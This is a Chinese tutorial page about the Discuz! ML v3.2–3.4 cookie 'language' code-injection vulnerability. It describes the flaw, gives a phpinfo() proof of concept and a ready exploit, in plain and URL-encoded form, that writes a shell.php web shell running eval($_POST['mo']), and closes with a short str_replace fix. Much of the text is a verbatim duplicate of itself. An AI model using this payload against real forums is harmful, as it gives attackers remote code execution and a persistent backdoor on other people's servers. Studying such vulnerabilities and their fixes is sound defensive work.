您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
Discuz ML! V3.X 代码注入漏洞的修复方法
钟召云2025-07-06Discuz教程已有人查阅
导读Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区,该引擎基于Comsenz Inc.创建的着名的Discuz!
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区,该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。
0x01 漏洞描述1.1 简单描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
简而言之,如下图流程可以简单的理解该漏洞
首先,通过cookie传入payload,构造好的payload被写入template文件中:
接着,这个 入payload的template.php文件被include,造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.20x02 漏洞分析
详情请见:代码注入漏洞深度分析/0x03 漏洞演示3.1 环境搭建
解压后将upload所有内容放到网站目录,访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。
3.3 漏洞测试演示
注:在此我将用论坛的主页面(index.php),作为漏洞的演示:
首先看首页里的cookis值中就包含我们想要的language参数:
动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:
EXP(原):
(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:
(4)看看效果:满分
漏洞修复
VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:
0x01 漏洞描述1.1 简单描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
简而言之,如下图流程可以简单的理解该漏洞
首先,通过cookie传入payload,构造好的payload被写入template文件中:
接着,这个 入payload的template.php文件被include,造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.20x02 漏洞分析
详情请见:代码注入漏洞深度分析/0x03 漏洞演示3.1 环境搭建
解压后将upload所有内容放到网站目录,访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。
3.3 漏洞测试演示
注:在此我将用论坛的主页面(index.php),作为漏洞的演示:
首先看首页里的cookis值中就包含我们想要的language参数:
动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:
'.phpinfo().'
成功返回phpinfo()响应,证明此系统存在代码注入漏洞!3.4 漏洞执行演示EXP(原):
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
(因为改动的COOKIE中包含分号,其中有可能会出现语法错误,所以这里采用URL编码格式,之后再解过来就没问题了)EXP(改):
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27
(2)修改cookie中的xxx_language值为exp内容:这里加上exp后,主页返回正常(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:
(4)看看效果:满分
漏洞修复
VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);
本文标签:
很赞哦! ()
下一篇:Discuz开源代码结构小分析
相关教程
图文教程
discuz建站步骤教程
买了域名A,又买了虚拟主机B,悔不当初的是B还免费送域名。各种失败尝试就不说了,反正折腾了整天终于通了。主机是cPanel图形化管理器,虽然说很方便,但绑定起来还是很多问题要注意的。
discuz数据库迁移改密码相关配置文件修改
网站系统需要修改的位置有两处 Discuz 和 UC-center①路径:/ root/config/config_global.php 这个根据你网站安装的路径而定。
discuz论坛功能详细介绍
为方便互联网数万Discuz!爱好者,更加深入了解Discuz!软件,本人在熟悉Discuz!过程中,顺便将个人经验写给大家。本贴内容由本 人定期更新。本贴只介绍Discuz!中部分技术点
Discuz支付宝小程序用户体验优化
在如今的互联网时代,用户体验几乎是所有产品的核心,Discuz作为一个广泛使用的论坛系统,与支付宝小程序的结合更是为其带来了新的发展机遇。
相关源码
-
帝国CMS游戏应用APP推广下载站模板免费下载本模板为移动应用推广、手机游戏推广行业设计,集成H5游戏平台与APP下载功能,支持PC端与移动端自适应访问。专注于为应用开发商、游戏发行商提供专业的线上推广展示平台。查看源码 -
(PC+WAP)院校学院职业学校机构协会网站开源源码下载本模板基于PbootCMS系统开发,为高等院校、职业学校等教育机构设计,特别适合展示学校概况、院系设置、招生信息等内容。采用双端适配技术,确保在PC和移动设备上都能获得良好的浏览体验。查看源码 -
(自适应)包装机贴标机设备网站源码免费下载基于PbootCMS内核开发的响应式企业模板,为包装机械、贴标设备等工业领域打造,通过数字化展示提升企业专业形象。查看源码 -
自适应容器设备机械行业通用pbootcms网站模板本模板是一款基于PbootCMS开源内核深度开发,为容器制造、容器设备、压力容器及相关行业量身打造的高品质响应式企业网站模板。查看源码 -
(PC+WAP)蓝色公司注册财务会计公证律师网站源码下载本模板基于PbootCMS内核开发,为财务会计事务所、律师公证机构等专业服务机构打造。采用自适应设计,确保在各类设备上都能呈现专业视觉效果,帮助机构建立值得信赖的线上形象。查看源码 -
(自适应响应式)绿色环保材料设备科技类营销型网站pbootcms源码下载本模板基于PbootCMS开发,主要面向环保设备、环保材料及相关科技企业。采用HTML5+CSS3技术构建,具备响应式特性,确保在各类设备上均有良好展示效果。查看源码
| 分享笔记 (共有 篇笔记) |
